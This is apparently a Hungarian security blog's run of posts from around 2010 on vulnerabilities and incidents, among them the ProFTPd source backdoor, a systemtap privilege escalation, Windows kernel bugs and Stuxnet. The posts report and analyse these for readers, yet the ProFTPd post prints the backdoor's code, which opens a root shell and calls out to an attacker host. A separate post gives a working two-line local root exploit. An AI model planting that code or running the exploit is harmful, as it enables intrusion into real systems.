Az elmúlt héten két érdekes hiba is szembejött velem a blogszférából, mindkettő tartogat tanulságokat. A hibákat azóta javították, erről lesz még később szó.
Az első probléma egy perzisztens XSS anyánk, a blog.hu kommentdobozában. A problémát _2501 vette észre ennél a bejegyzésnél, és volt olyan kedves, hogy meg is írta az élményt szépen:
A Verzion most megjelent tanulmányában egy frappáns módszert közöl az Internet Explorer 7-ben bevezetett Védett Mód (Protected Mode) megkerülésére. A Védett Mód egy "megerősítő" technológia, melynek célja, hogy meggátolja, hogy a böngészőexploitokkal rendelkező támadók értékes erősorrásokhoz férhessenek hozzá egy IE-n keresztül kompromittált rendszeren.
A Védett Mód működésének lényege, hogy a megbízhatatlan helyről (Internet) származó tartalmakat a böngésző alacsony integritási szintű folyamatokkal rendereli, így az ezekben futó kód csak igen szűkös erőforrásokhoz férhet hozzá, az ezeken kívüli igényeket pedig egy ún. bróker folyamat ellenőrzi.
A most felvetett módszer azt használja ki, hogy az alacsony integritási szinten futó folyamatok is nyithatnak socketeket, valamint hogy a Helyi Intranet Zóna (Local Intranet Zone) weboldalai Védett Módon kívül (közepes integritási szinten) töltődnek be. Így egy sikeres exploit elméletileg elindíthat egy miniatűr webszervert localhoston, a Védett Mód egyik engedélyezett API metódusával (IELaunchURL()) pedig átirányíthatja a böngészőt erre az oldalra. Mivel a localhost a Helyi Intranet Zónába tartozik, a webszerver az előzőleg alkalmazott exploit újboli kiszolgálásával Védett Módon kívüli kódfuttatást érhet el.
A módszer alkalmazásához engedélyezve kell lennie a Helyi Intranet Zónának, valamint a megvalósítandó webszerver (pontosabban a kiszolgálandó második exploit kódja) jócskán megnövelheti a támadó által igényelt memóriaterületet. Mivel a Helyi Intranet Zóna tartományba lépéskor automatikusan engedélyeződik, a letöbb IE exploit pedig amúgy is teleszemeteli a heap-et, tehát a dolog egyáltalán nem tűnik lehetetlennek
Elkészült a Hacktivity Capture the Flag játékában szereplő második célpont, a Baby Sister megoldásának leírása, a késlekedésért cserébe videót is kaptok hozzá :)
Ezt a gépet egy csapatnak sem sikerült a hatalmába kerítenie, de el kell mondanom, hogy ez sajnos nem csak rajtuk múlt: a futó Windows routing táblája ugyanis egyszer csak összegabalyodott, ezt pedig a virtuális gép félóránkénti revertje sem hozta helyre (!), így a versenyzők elvesztették azt a néhány órát, amit a hibakereséssel töltöttünk, ezért elnézést kérünk!
Teljes exploitot a Btk-ra tekintettel inkább nem közlünk, de a doksiban említett szoftverrel mindenki kedve szerint eljátszhat.
Feltörték a ProFTPd FTP kiszolgáló szervereit és hátsó kaput helyeztek el a szoftver forráskódjában. Aki november 28. és december 2. között letöltötte és telepítette az 1.3.3c verziót, az sürgősen nézze át a rendszereit!
A módosított démon root shellt indít, ha az "ACIDBITCHEZ" parancsról kérünk segítséget és fordításkor jelez a támadóknak arról, hogy egy újabb felhasználó telepíti a módosított szoftvert.
+ if (strcmp(target, "ACIDBITCHEZ") == 0) { \
setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+ close(sock);
+ exit(0);
+}
+
+int main(void)
+{
+
+ struct sockaddr_in addr;
+ struct hostent *he;
+ u_short port;
+ char ip[20]="212.26.42.47";
+ port = DEF_PORT;
+ signal(SIGALRM, handle_timeout);
+ alarm(DEF_TIMEOUT);
+ he=gethostbyname(ip);
+ if(he==NULL) return(-1);
+ addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
+ addr.sin_port = htons(port);
+ addr.sin_family = AF_INET;
+ memset(addr.sin_zero, 0, 8);
+ sprintf(ip, inet_ntoa(addr.sin_addr));
+ if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+ {
+ return EXIT_FAILURE;
+ }
+ if(connect(sock, (struct sockaddr*)&addr, \
sizeof(struct sockaddr))==-1)
+ {
+ close(sock);
+ return EXIT_FAILURE;
+ }
+ if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+ {
+ return EXIT_FAILURE;
+ }
+ close(sock);
+
+return 0; }
A támadók nem módosították a letölthető fájlokhoz kiadott MD5 lenyomatokat illetve PGP aláírásokat, így aki ezeket ellenőrizte, észrevehette a turpisságot.
A forráskódokat hosztoló szerverhez valószínűleg az FTP szolgáltatás hibáján keresztül sikerült hozzáférni. Érdekes egybeesés, hogy a Phrack#67-ben (Phrack Profile egy ex-Ac1dB1tch3z tagról...) pont lehozták egy olyan ProFTPd mod_sql bug leírását, amit ugyan bizonyos szinten orvosolt egy másik hibajavítás, de a szerző nem zárta ki, hogy a rés kihasználható maradt...
Egy SQL injection támadás miatt le kellett állítani a szabad szoftvereket hosztoló savannah.gnu.org működését. A behatolók a Savane2 biztonsági hibáját használták ki, és több tag hash-elt jelszavához is hozzáfértek. Az üzemeltetők egy múltheti mentést állítanak vissza, így az azóta történt módosításokat újra fel kell majd tölteni, de helyreállítás még tart.
Nem mai a hír, és már más magyar blogokon/a helyi twitteren is kint volt, de már csak azért is kiírom, hogy ne feledkezzek meg újra arról, hogy mit akartam olvasni:
Megjelent a Phrack #67, ezzel a magazin betöltötte a 25. életévét. Boldog szülinapot!
Az utóbbi időben sokat volt szó Windows-okat érintő, jogosultságkiterjesztésre alkalmas problémákról, az egyensúly jegyében ma Tavis Ormandy újabb egy-, najó, kétsoros gyöngyszemét ajánlanám a figyelmetekbe:
printf "install uprobes /bin/sh" > exploit.conf
MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever
A probléma gyökere, hogy a SUID roottal futó systemtap (staprun) nem ellenőrzi a MODPROBE_OPTIONS környezeti változó beállítását mielőtt egy modprobe-t hívna. Ebben a változóban megadható egy egyéni konfigurációs állomány a modprobe számára, melyben egy install primitívvel tetszőleges parancs végrehajtható (részlet a modprobe.conf manjából):
install modulename command...
This is the most powerful primitive: it tells modprobe to run your command instead of inserting the module in the kernel as normal. The command can be any shell command: this allows you to do any kind of complex processing you might wish.
A probléma a Reh Hat Linux különböző változatait érinti, de nem lennék meglepve ha a CentOS vagy a Fedora is érintve lenne - utóbbihoz tartozó csomag forráskódjában greppelve nem találtam utalást a kérdéses környezeti változó eltávolítására.
Én balga rázártam a böngészőablakot a legújabb Windows privilégiumemelős bug leírására (a második a héten, és meg csak szerda van!), közben meg leszedték az oldalt, és még Google cache-ben sincs meg :,(
Szóval arról van szó, hogy a win32k.sys-ben található egyik függvény puffer túlcsordulást okoz, amenniyben egy speciális értéket tartalmazó registriy-kulcs hivatkozást adunk át neki, ami kódfuttatást tesz lehetővé SYSTEM jogkörrel. A trükk az, hogy nem minden registry kulcsot módosíthat egy sima felhasználó, valamint ha jól sejtem a PoC alapján, a sebezhető kódrészlet sem érhető el közvetlenül. AppWizard, az exploit kiagyalója viszont talált egy megfelelő kulcs-függvény párost, nevezetesen a
HKCU\EUDC\<aktuális kódlap>\SystemDefaultEUDCFont - EnableEUDC()
duettet, ami alkalmas a célra. A hiba emellett más kombinációkkal is kihasználható lehet. Ha megtalálom az eredeti leírást, frissítek, addig is szép álmokat!
Frissítés:
A hiba a win32k.sys NtGdiEnableEUDC() API-t érinti, az pedig kimaradt, hogy a probléma Windows Vistán, 7-en és 2008-on használható ki, mind 32, mind 64 bites platformokon.
Frissítés2:
Megvan a mirror! A fő bűnüs az RtlQueryRegistryValues függvény, ami egyszerre több registry érték kiolvasására alkalmas. A függvény kimenő paraméterben adja vissza ezeket az érékeket, az összeállított struktúrában szerepelhetnek unicode karakterláncok és ULONG adatok is. A baj az, hogy a fent említett registry kulcs olvasásakor a függvény feltételezi, hogy egy unicode stringet kap, aminek első néhány bájtja határozza meg a hosszát. ULONG érték esetén azonban ez a feltevés helytelennek bizonyul, és túl sok adat kerül a stackre.
Lezárult a következő sörözés (szendvicsezés :) időpontjával kapcsolatos szavazás, az összejövetelt december 18-án tartjuk, várhatóan délutántól a HACK-ben. További részletek decemberben.
A Microsoft eddig három biztonsági hibát javított a Stuxnet által kihasznált négy Windows rés közül. Most megjelent a negyedik, eddig javítatlan sebezhetőséget kihasználó exploit, amely a Windows Task Planner egy hibáját használja ki jogosultságemelésre.
Első ránzézésre úgy tűnik, hogy a közzétett szkript létrehoz egy feladatot, majd módosítja az így létrejött feladatobjektumban rögzített, tulajdonosra vontakozó adatokat, végül megcsavarja az egész bitdzsungelt úgy, hogy a módosított paraméterekkel ellátott feladat átmenjen az integritásellenőrzésen. Vagyis a dolog lényege, hogy el tudjuk hitetni az operációs rendszerrel, hogy a feladatunkat valamilyen adminisztratív jogokkal rendelkező felhasználó hozta létre, így illene ennek a felhasználónak a jogaival lefuttatni a benne foglaltakat (javítsatok ha tévedek!).
Szép kis exploit, már ha eltekintünk attól, hogy VBScriptben írták...
A probléma Windows Vistán, 7-en és 2008-on használható ki, a Microsoft kövekező frissítése december 14-én várható.
Az Adobe végre kiadta az Adobe Reader X-et, ami sandboxot húz az utóbbi idők legveszélyesebb alkalmazása köre. Az ASSET blogján meg is jelent egy négyrészes sorozat, amiben a Chrome és Office 2010 szakembereivel közösen fejlesztett védelmi megoldások részleteit taglalják.
Sajnos ezek a posztok nem lettek annyira izgalmasak, mint vártam, legalábbis a Chrome után már nem tudtak sok újat mondani, az viszont megragadta a figyelmemet, hogy az ASSET bloggerei voltak annyira korrektek, hogy leírják, mi az amit nem sikerült megoldaniuk.
Már a tervezés során el lett döntve, hogy a sandbox első változata nem fogja korlátozni a fájlolvasást, a hálózati hozzáférést, valamint a vágólap használatot. Az első problémán enyhíthet a megfelelő operációsrendszer-szintű hozzáférés-szabályozás, a középsőn egy szigorú tűzfal, az utolsón pedig az odafigyelés.
A nem tervezett hiányosságokról: David LeBlanc kiváló sandboxing how-toja kitér arra, hogy a potenciálisan veszélyes alkalmazásokat érdemes külön asztalra helyezni, ez azonban az Adobe PDF olvasója esetén túl sok munkát, ezáltal a kiadás csúszását eredményezte volna, így a most kiadott verzióban ez a korlátozás nem él.
Az azonos asztalon futó alkalmazások problematikájának jó példája a shatter támadás , aminek alapja az, hogy egy alacsony jogosultságú folyamat képes beleírni egy vele azonos asztalon futó, magasabb privilégiumszintű folyamat üzenetsorába, valamint ugyanezen processz beviteli mezőivel kapcsolatba lépve a folyamat memóriaterületére is (igen korlátozottan) írhat. Mivel azonban az üzenetsor üzenetei callback függvényekre is hivatkozhatnak, a fenti két lehetőség kihasználásával privilégiumszint-emelés érhető el.
Ez a probléma 2002-óta ismert, így a Microsoft azóta - bár a felelősséget elhárította - már szolgáltatott megoldást az alkalmazásfejlesztők számára, így ezt a fenyegetettséget a Reader X-ben asztalváltás nélkül is meg tudták szüntetni.
A folttalanul maradó rések ehhez képest csak jóval korlátozottabb lehetőségeket biztosítanak, de ezekben is lehet fantázia:
A Reader X még mindig készíthet képet az adott asztalról, megörökítve az ott látható érzékeny információkat (pl. egy jelszóemlékeztető e-mail tartalmát), másrészt a billentyűleütések szintén eljuthatnak a korlátozott processzig, melynek memóriájában tanyázva a megfelelő kódrészlet - bár kitörni nem tud - nyugodtan továbbíthatja a begépelt jelszavainkat a támadó felé.
Utóbbi problémát Vistától kezdve orvosolja, hogy a sandbox folyamat alacsony integritási szinten fut és nem tudja meghookolni a billentyűzet-eseményeket, de persze amíg a felhasználók jelentős része még mindig alig patch-elt XP-kkel dolgozik, ez nem sok vígaszt nyújt, és ezt a tendenciát figyelembe véve a régi Readerek kihalása sem valószínű az elkövetkező néhány évben, pedig az X elterjedése a fenti néhány apróság mellett is igen kívánatos lenne.
KZ hívta fel a figyelmemet a 10. Robothadviselés konferenciára, melyet a Zrínyi Miklós Nemzetvédelmi Egyetemen tartanak november 24-én. A blog közönségének várhatóan a program második fele lesz érdekesebb, ami az információvédelem különböző témáit járja körül, míg a nap első felében a fizikailag is megtestesülő eszközöké lesz a főszerep.
A konferencia teljes programja itt olvasható, a részvétel ingyenes, de regisztrációhoz kötött, a határidő 4 nap múlva jár le.
A Stuxnettel kapcsolatos elméletek kulcskomponense, hogy pontosan milyen ipari vezérlőegységekre specializálódott a kártevő. A Symantec szakembereinek a Dutch Profibus szakembereivel együttműködve sikerült leszűkíteni a célbavett PLC-k halmazát néhány meghatározott gyáró által készített frekvenciakonverterre, melyeket villanymotorok sebességvezérléséhez használnak.
A gyártók egyike Finnországban, a másik Iránban székel. A Stuxnet azon túl, hogy kifejezetten ezen eszközök valamelyikén működik, csak akkor nyúl hozzá a berendezésekhez, ha azok bizonyos ideig egy bizonyos frekvenciát adnak kimenetként. Ez a frekvenciatartomány (807-1210 Hz) az iparban extrém magasnak számít és csak kevés helyen használatos.
Az egyik jellemző felhasználási terület pedig nem más, mint gázcentrifugák meghajtása, melyek elsősorban rádioaktív izotópok szétválasztásához használnak - az ilyen, nagyfrekvenciás vezérlők éppen ezért exporttilalom alá esnek az USA-ban.
A Federation of American Scientists statisztikája visszaesést mutat az aktív iráni izotópcentrifugák számában a Stuxnet aktív időszakában (via Wired)
Megfelelő frekvenciák detektálása esetén a kártevő hónapokon keresztül rövid időkre megváltoztatja a kontrollerek kimeneti frekvenciáját, ami eltérő turbulenciát okozhat egy centrifugában, és ronthatja az eredményeket.
Bár a történetben még mindig végigvonul az általános bizonytalanság, megerősödni látszik az a feltételezés, hogy a Stuxnetet atomlétesítmények "számára" készítették, a közbeavatkozás ráadásul az uránfeldolgozás korai szakaszára esik, ami egybevág Irán első atomerőművének jelenlegi életszakaszával.
Ha engem kérdeztek, azt mondom, hogy valahol valakik most árgus szemekkel figyelik, hogy kik, hogyan, és mit állapítanak meg a szörnyszülöttjükről, hogy aztán a következő verziót úgy állíthassák össze, hogy jó ideig senki meg se neszelje, hogy mi a valódi cél. Az persze jó kérdés, hogy mennyit káromkodnak eközben.
(A hírt Stef küldte, nagy köszönet neki!)
Ismét rendhagyó BuheraSörözés leszervezésébe vágjuk a fejszénket: ezúttal a szokásos dínomdánom helyett egy igazi konstruktív találkozó összehozásában kérném a segítségeteket. A cél, hogy a 31 "hacker challenge" oldal eredményeit összesítő WeChall.net-en egy este alatt feltornásszuk kishazánkat az élre. Magyarország jelenleg a 10. helyen áll, az élen álló franciák megelőzéséhez még nagyjából 2.000.000 pontot kell gyűjteni a meglévő 290.000 mellé.
A munkából mindenki kiveheti a részét aki hoz magával laptopot, hiszen az összegyűjtött feladványok elég széles területet lefednek a hagyományos programozási problémáktól a valáságot közelítő biztonsági témákig. Ha valaki ennek ellenére úgy érezné, hogy nem elég erős a Fu-ja, az se maradjon otthon, hiszen biztosan rengeteget lehet majd tanulni a közös brainstormingból.
Időpontokkal kapcsolatban december 11. és 18. közül választhattok az oldalt remélhetőleg megjelenő szavazás segítségével, kérlek kattintsatok!
Frissítés: Mivel a már szinte hagyományosnak tekinthető sörszállítmány vélhetően negatív hatást gyakorolna a teljesítményünkre, ezúttal egy nagy adag szendviccsel kedveskedik nekünk a Biztributor. Meg vagyok hatva, komolyan :,)
A Core Security szakemberei a "jailbreakme" bughoz hasonló problémát fedeztek fel az OS X Leopard Apple Type Services komponensében (valójában a régebbi probléma egy variánsáról van szó, így új CVE jegy nem is jött létre). A dolog érdekessége, hogy ugyan az Apple-t értesítették a dolgoról, a frissítés pedig (állítólag) elkészült, a felhasználókig mégsem jutott el, így a Core most viszonylag részletes leírást közölt a problémáról, ezzel igyekezve nyomást gyakorolni a gyártóra.
A PDF fájlok a Compact Font Format típusú betűkészletek CharStrings stutruktúrájának feldolgozásában bújik meg. A struktúra utolsó elemét negatívként deklarálva egy igen nagy méretű memcpy következik be, amely kódfuttatásra alkalmas memóriakorrupcióhoz vezet. A hiba már a speciálisan összeállított fájlok előképének generálásakor elsül, ezen kívül potenciális kihasználási lehetőségként adódik a webes vagy e-mailes célbajuttatás is.
A probléma a Snow Leopardot illetve az iOS-t nem érinti.
A legújabb 10.6.5ös frissítőcsomag biztonságot érintő tartalmáról itt lehet tájékozódni.
A Microsoft ebben a hónapban megkímélt a körmöléstől. Csupán három, nem túl izgalmas bulletint tartalmaz az ehavi frissítés:
MS10-087: Öt hiba javítása az Office különböző változataiban. Ezek közül a legsúlyosabb a Word 2007-et, ezen keresztül pedig az Outlook 2007-et is érinti, és kódfuttatást tesz lehetővé RTF fájlok segítségével. Javításra került tövábbá néhány nem biztonságos könyvtárbetöltést eredményező probléma. Ezek arra adnak lehetőséget, hogy egy távoli SMB megosztáson elhelyezett Office dokumentum megnyitásakor ne a rendszer által szolgáltatott, hivatalos DLL-ek, hanem a távoli hoszton elhelyezett (akár rejtett) fájlok töltődjenek be az irodai programok indulásakor.
MS10-088: Két kódfuttatásra alkalmas PowerPoint hiba javítása a program XP, 2003 és 2004 for Mac változataihoz.
MS10-089: Négy darab, XSS-t, illetve megbízható oldalak megszemélyesítését elhetővé tevő hiba javítása a Forefront Unified Access Gatewayhez. A frissítést "Fontos" besorolást kapott az UAG 2010 és 2010 Update 1 esetében is.
Sajnálattal vehetjük tudomásul viszont, hogy a legújabb Internet Explorer hiba nem került javításra ebben a hónapban...
Friss: Az említett IE bugot jelenleg az Amnesty International Hong Kong-i oldalán terjesztik.
Ez majdnem kimaradt, de még nem késő jelentkezni:
Az ELTE Informatikai Kar Hallgatói Önkormányzata és a kancellar.hu az informatikai biztonság szakértője negyedik alkalommal rendezi meg az IT Security Coding Contest programozói versenyt, más néven a Hackerversenyt, az ELTE Lágymányosi Campusán.
(...)
A rendezvény 2010. december 3. 14.00-tól december 4. 14.00-ig tart majd az ELTE Lágymányosi Campusán a Déli épületben (Lovarda).
A versenyre jelentkezhetnek: Bármilyen nemzetiségű 2 fős csapatok, akiknek mindkét tagja rendelkezik:
Hallgatói jogviszonnyal (Egyetem, Főiskola) vagy
Nappali tanulói jogviszonnyal (OKJ képzés)
Jelentkezési határidő: 2010. november 28. 24:00
Összdíjazás: 1 000 000 Ft
További infó a hackerverseny.hu-n
Az Offensive Security csapata a milw0rm után átvette Johnny 'ihackstuff' Long Google Hacking adatbázisának karbantartását is. Mivel az eredeti GHDB létrehozója jelenleg a Hackers for Charity keretein belül leginkább afrikai gyerekek oktatását támogatja, az adatbázis az utóbbi hónapokban (években?) nem volt frissítve.
Azt bátran kijelenthetem, hogy az Exploit-DB beváltotta az átalakuláskor hozzá fűzött reményeket, az oldalt folyamatosan frissítik és funkciónálisan is fejlesztik, így reménykedhetünk, hogy a Google Hacking Database is hasonló virágzásnak indul a jövőben!
Aki talált már a Google segítségével teljes felhasználói adatbázisokat, adminisztrátori jelszavakat, vagy bizalmas céges dokumentumokat, az tudja, hogy milyen hatalmas segítséget nyújthat a keresőóriás az egyszeri (etikus?) hacker számára, a biztonságilag kevésbé tudatos rendszergazdák pedig talán nem a WWW-gyökérbe fogják lerakni a heti mentéseket, ha szembesülnek a webcrawlerek erejével.
Régen volt szó Internet Explorert érintő 0day fenyegetettségekről, mostanában az Adobe Reader a sláger. A monotóniát most egy, a Symantec által felfedezett kártevő töri meg, melyben egy eddig ismeretlen IE sebezhetőséget alkalmaztak a támadók.
A probléma a böngésző 6-os, 7-es és 8-as változatait érinti. Eddig nem találtak olyan kártevő variánst, amely a modern Windows(+IE) változatok ASLR ill. DEP védelmeit képes lenne kijátszani, valamint az észlelt támadás is csak egy szők csoportot célzó, feltehetően manuálisan vezényelt akció volt.
Ettől függetlenül érdemes a hivatalos javítás megérkeztéig más böngészőt illetve megerősített operációs rendszert használni.
Friss: az SRD posztja a témában itt olvasható, megtudhatjátok belőle, hogy az IE8-ban az összes támogatott platformon engedélyezett a DEP (ha a hardver támogatja), valamint van egy kis leírás arról, hogyan lehet más konfigurációkban bekapcsolni ezt a védelmet.
Mégfrissebb: A VUPEN tájékoztatása szerint a problémát az mshtml.dll-ben a clip attributum feldolgozásánál kell keresni.
Legfrissebb: Megjelent egy PoC itt.
Nagyon hálás lennék, ha valaki kommentben vagy e-mailben mindenki okulására kifejtené a glibc legújabb sebezhetőségének hátterét, különös tekintettel az exploitnál alkalmazott file-descriptoros trükkre vonatkozóan. Én eddig háromszor futottam neki, de beletört a bicskám... :(
Frissítés:
Beszélgettünk GHosttal a problémáról és úgy tűnik, hogy a megoldás egyszerűbb, mint vártam (ettől függetlenül az eredeti leírás alapos áttanulmányozása erősen ajánlott):
Ugyebár az ELF specifikáció azt ajánlja, hogy ne hagyjuk kibontani $ORIGIN-ben tárolt útvonalat SUID állományok esetén, mert egy sima user a saját könyvtárából rálinkelhet egy ilyen fájlra, a saját könyvtárába meg berakahatja a saját gonosz libjeit, amik a set-UID-os binárisokba fognak betöltődni.
Jelen esetben a dolog bonyolultabb a 3-as pont miatt, mivel nem mondhatom azt, hogy LD_AUDIT="$ORIGIN/evil", mert az is_dst() elkaszál.
A sejtés az, hogy a fájlleíró létrehozásakor a $ORIGIN értéke már kiszámítódik: /tmp/exploit lesz. Az exploit könyvtár törlésekor, majd ennek a helyén a payload létrehozásakor a fájlleíró változatlanul (a hozott jogosultságokkal együtt) megmarad, tehát amikor megpróbáljuk lefuttatni az általa mutatott állományt a $ORIGIN által hivatkozott könyvtár helyén egy shared library lesz. A loader az LD_AUDIT-ban megadott "$ORIGIN" kifejezést (mivel megfelel a 3. pontnak) ki fogja bontani, és a kibontott érték egy dlopen() számára értelmes függvénykönyvtár lesz, aminek a konstruktora le is fut.
A fentiek részben feltételezések, várom a konstruktív kritikát!
Hírmorzsák innen-onnan + némi kommentár:
A Mozilla Security tegnap blogjában arra hívta fel a figyelmet, hogy a Mozilla Firefox 3.5-ös és 3.6-os verziói kritikus sebezhetőségben szenvednek. A visszajelzések szerint a sebezhetőséget aktívan kihasználják jelenleg is az interneten (például a Nobel-békedíj weboldalán).
Az exploitot tartalmazó weboldalakat meglátogatók a sebezhetőségen keresztül fertőződhetnek a malware-rel (Belmoo/Win32). A trójait legelőször a Nobel-békedíj weboldalán jelezték. Ezt a weboldalt a Mozilla beépített malware védelme már blokkolja, azonban az ártó kód más oldalakon is felbukkanhat.
A Mozilla Security a sebezhetőség javításáig azt javasolja, hogy a felhasználók tiltsák le a Javascript-et a böngészőben, vagy használjanak NoScript add-on-t.
A részletek itt.
Egy másik, azóta javított Firefox sebezhetőség elemzését xorl (aki úgy tűnik szerencsésen átvészelte a katonaságot) blogján olvashatjátok el. Ez utóbbi hibát egyébként egy 12 éves srác jelentette a Mozillának, akik csengettek is 3000 dodót a becsületes megtalálónak :)
Aztán van itt ez a Firesheep bővítmény, amiről az Indexnek (pontosabban anarkinak) sikerült osszehozni története talán legszánalmasabban hatásvadász IT-biztonsági témájú cikkét, amit a köznyugalom érdekében inkább be sem linkelek. Persze a cucc a külföldi sajtóban is eléggé túl van hype-olva, egy haszna viszont mégis volt a dolognak:
Már rég óta piszkálta a csőröm, hogy a status barom tanúsága szerint a HTTPS-en megnyitott Facebookra hitelesítetlen forrásból származó adatok is lemásznak, ami veszélybe sodorhatja az ember (nem biztonságos) sütijeit - ugyanis, ha a http://xy.facebook.com-ról töltődik le mondjuk egy kép, a böngésző neki is elküldi a sütiket, titkosítatlan csatornán. A HTTPS Everywhere bővítménnyel netezek egyébként, ebbe be van drótozva, hogy a fácsét mindig HTTPS-en nyissa meg. Szóval elkezdtem tesztelni, és első blikkre úgy tűnik, hogy csak a beágyazott tartalmak miatt jöttek a biztonsági figyelmeztetések, szóval pánikra semmi ok. Azaz mégsem: belépéskor ugyanis az autentikáció ugyan lezajlik titkosan, utána viszont hirtelen sima HTTP kapcsolaton kezdi el a FF lehúzni a kezdőlapot (és szétkülrtölni az azonosítóimat), miközben a címsorban https://... látszik (de a zöld tanúsító csík nem jelenik meg)!
Hasonló viselkedésről számolnak be az Errata Security blogján is a ForceTLS vs. Twitter kombóról. Ennek oka ha jól emlékszem az lehet, hogy a ForceTLS csak spéci HTTP fejlécek beérkezése után fogja tudni, hogy használhat TLS-t, ha ilyet nem küld a Twitter, akkor a kiterjesztés sem működik.
Költői kérdés: Ellenőrizte valaki, hogy a Firesheep hazaküldi-e a begyűjtött infókat? :)
Azoknak, akik az elmúlt napokban nem tudták elérni kedvenc torrent oldalukat vagy nem fértek hozzá az előirányzott pornómennyiséghez, itt egy lehetséges magyarázat:
A Reality Check Network - amely kifejezetten az ilyen "nagy forgalmú" website-ok hosztingjára (xmovies.com, torrents.net, y8.com...) szakosodott - gépei napok óta állnak, mivel rosszindulatú támadók fértek hozzá a menedzsment rendszereihez, melyeken keresztül a cég összes szerverét komprommitálni tudták. Mivel a behatolók a nagyjából 1000 szerver MBR-jét is megpiszkálták, a gépeket formázni kellett, most pedig a mentések visszaállítása zajlik. A helyreállítási munkák várható idejét a cég első tájékoztatásában még egy hónapra becsülte, egyúttal kilátásba helyezték a szolgáltatás megszűnését is. A helyzetet súlyosbította, hogy a backupok egyedi formátumban készültek, így azokkat az ügyfelek nem tudták egyszerűen más szolgáltatóhoz átvinni. Jelenleg a realitychecknetwork.com-on megjelent tájékoztatás szerint sikerült felgyorsítani a helyreállítási folyamatot, de a cég jövőjéről még nem lehet biztosat állítani.
Az első közlemények szerint az incidenshez köze volt egy ex-munkatársnak, aki jól ismerte az RCN hálózatát, azonban ezt a kijelentést azóta visszavonták. Az üzemeltetők az FBI segítségét kérték a támadók kézrekerítéséhez. Érdekes kérdés, hogy mi lesz a torrent hosztokkal kapcsolatos érzékeny infókkal, hiszen ezek is bizonyítékok lehetnek a nyomozás során.
Bardóczi Ákos küldte az alábbi szösszenetet arról, hogyan szivárognak ki a fácséra feltöltött képeink a tagelési funkción keresztül:
Most kezdtem el komolyabban foglalkozni az Facebook API-val és teljesen véletlenül találtam valamit, ami ismét csak a sokszor kritizált fotóalbum policy-t érinti.
Akár észrevette előttem valaki, akár nem, a bug igencsak húzós, egyszerűen azért, mert sok az érintett felhasználó, akik a fotóik láthatóságának beállításakor egyszerűen nem gondolnak például arra a lehetőségre, amit most leírok.
Lényeg, hogy a fotóalbumokban lévő fotó címkézése után a fotó láthatóvá válhat olyan felhasználó vagy applet számára is, ami egyébként erre nem lenne jogosult, azt nem tudom, hogy konkrétan a hiba mennyire kihasználható.
Amit a gyanum után teszteltem és működött is: tételezzük fel, hogy Aladár létrehoz egy albumot benne egy képpel, majd az album policy-ját úgy állítja be, hogy az abban lévő képeket kizárólag Béla lássa, akit megjelöl az albumban lévő fotón. Ezt követően, ha Béla megjelöli egy ismerősét, Cilikét az adott fotón, aki viszont Aladárnak nem is ismerőse, akkor Cilike számára láthatóvá válik az az album, aminek a hozzáférését Aladár elvileg úgy állította be, hogy azt csak Béla tudja megnézni. (Kicsit tovább gondolva - ha Cilike általános fotópolicy-ja olyan, hogy a képeit mindenki meg tudja nézni, az érvényes lesz arra a képre is, amit Aladár eredetileg teljesen rejtettnek szánt, azaz a FB összes júzere láthatja majd.) Ezt követően kipróbáltam, hogy mi történik akkor, ha Aladár az album láthatóságát úgy adta meg, hogy annak tartalmát kizárólag ő maga láthassa - a helyzet ugyanaz, azaz ha Béla taggelve van, ő is látja, ha ő taggelte Cilikét, akkor ő is, legrosszabb forgatókönyv szerint pedig Cilikén keresztül az egész
világ.Nem volt még időm jobban utána kotorni a dolognak, de nagyon úgy fest, hogy akár appletről van szó, akár egy fent leírt hipotetikus esetről, amikor egyszerűen csak felhasználók nézegetik egymás képeit, az album policy-t egyszerűen nem veszi figyelembe a taggelési feature.
Ez mindenesetre ütős ahhoz képest, hogy pont az utóbbi időben a Facebook bátorította felhasználóit, hogy taggelgessék egymást, valamint több ezer, ha nem több tízezer idióta kisalkalmazás címkéz képeket jó esetben a felhasználók szives beleegyezése után.
Lehet rá mondani, hogy de gagyi, meg hülye júzer, meg közösségi hálóra eleve nem tölt fel fehér ember olyan tartalmat, amit nem akar megosztani, kapcsolódva ahhoz, amit az előző bekezdésben és a levél elején írtam - a kockázatot pont az teszi naggyá, hogy technikai szempontból viszonylag triviális, mégis sok felhasználót érint.
Elkészült az idei Hacktivity céges csapatai számára elérhető Capture the Flag játék pályájáit bemutató leírás első része, amiben részletesen bemutatásra kerül a "linuxos" pálya megoldása, az információgyűjtéstől a rootolásig. Fogadjátok szeretettel!
Szlovák barátaink küldtek meghívót a címben szereplő eseményre. Egy tisztán technikai, non-profit rendezvényről van szó, amely november 13-14 között kerül megrendezésre Kassán (Kosice), és ahová szeretettel várják a magyar közönség és előadók jelentkezését is. Az előadások természetesen angolul zajlanak.
Az érdeklődők regisztráljanak a ProgressBar oldalán, ezen kívül köszönettel venném, ha a potenciális látogatók/előadók dobnának egy e-mailt nekem, és/vagy a H.A.C.K. listájára (hspbp googlegroups).
